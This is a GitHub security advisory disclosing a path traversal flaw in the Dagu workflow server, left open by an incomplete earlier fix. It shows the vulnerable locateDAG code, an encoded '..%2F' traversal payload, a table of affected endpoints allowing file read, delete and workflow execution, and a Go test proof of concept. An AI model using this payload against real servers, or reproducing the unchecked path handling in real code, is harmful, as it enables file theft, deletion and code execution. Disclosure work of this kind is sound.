GitHub Security Advisory: GHSA-ph8x-4jfv-v9v8
Package: github.com/dagu-org/dagu (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.30.4-0[PII_REDACTED]1317-e2ed589105d7, < 1.30.4-0[PII_REDACTED]3346-7d07fda8f9de
Patched in: 1.30.4-0[PII_REDACTED]3346-7d07fda8f9de

Summary: Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG

Details:
The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added `ValidateDAGName` to `CreateNewDAG` and rewrote `generateFilePath` to use `filepath.Base`. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the `{fileName}` URL path parameter to `locateDAG` without calling `ValidateDAGName`. `%2F`-encoded forward slashes in the `{fileName}` segment traverse outside the DAGs directory.

### Vulnerable code

`internal/persis/filedag/store.go`, lines 508-513:

```go
func (store *Storage) locateDAG(nameOrPath string) (string, error) {
    if strings.Contains(nameOrPath, string(filepath.Separator)) {
        foundPath, err := findDAGFile(nameOrPath)
        if err == nil {
            return foundPath, nil  // returns arbitrary resolved path
        }
    }
    // ...safe searchPaths branch follows
```

`findDAGFile` resolves the path with `filepath.Abs` and checks only that the file exists with a YAML extension. No containment check against `baseDir`.

Chi v5 routes using `r.URL.RawPath` when set. The pattern `/dags/{fileName}/spec` captures `..%2F..%2Fetc%2Ftarget.yaml` as a single path segment. The oapi-codegen runtime calls `url.PathUnescape`, producing `../../etc/target.yaml`. This decoded string reaches `locateDAG` with the `/` separator intact.

Go's `net/http.ServeMux` would normally redirect paths containing `..`, but dagu binds the chi mux directly to `&http.Server{Handler: r}` (server.go:833-834), so no path cleaning fires.

### Affected endpoints

The three confirmed impacts via `locateDAG`:

| Endpoint | Impact |
|----------|--------|
| `GET /dags/{fileName}/spec` | Arbitrary `.yaml`/`.yml` file read (`os.ReadFile`) |
| `DELETE /dags/{fileName}` | Arbitrary `.yaml`/`.yml` file delete (`os.Remove`) |
| `POST /dags/{fileName}/start` | Load arbitrary YAML, execute as workflow |

Same pattern affects all other `{fileName}` endpoints: `/dag-runs`, `/dag-runs/{id}`, `/rename`, `/start-sync`, `/enqueue`, and webhook handlers. `UpdateDAGSpec` is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject `/`.

### PoC

**Store-level** (dagu v2.0.2, Go 1.26, macOS; `locateDAG` unchanged through v2.3.0):

```go
func TestLocateDAGPathTraversal(t *testing.T) {
    baseDir, _ := os.MkdirTemp("", "bd")
    defer os.RemoveAll(baseDir)
    outsideDir, _ := os.MkdirTemp("", "od")
    defer os.RemoveAll(outsideDir)

    store := filedag.New(baseDir, filedag.WithSkipExamples(true))
    ctx := context.Background()
    store.Create(ctx, "legit", []byte("name: legit\nsteps:\n  - name: s\n    command: echo ok\n"))

    target := filepath.Join(outsideDir, "secret.yaml")
    os.WriteFile(target, []byte("[CREDENTIAL_REDACTED]\ndb_host: prod-db.internal\n"), 0644)

    rel, _ := filepath.Rel(baseDir, target)
    spec, _ := store.GetSpec(ctx, rel)
    fmt.Println(spec)
}
```

Output:

```
baseDir:    /tmp/bd[PII_REDACTED]
targetFile: /tmp/od390648734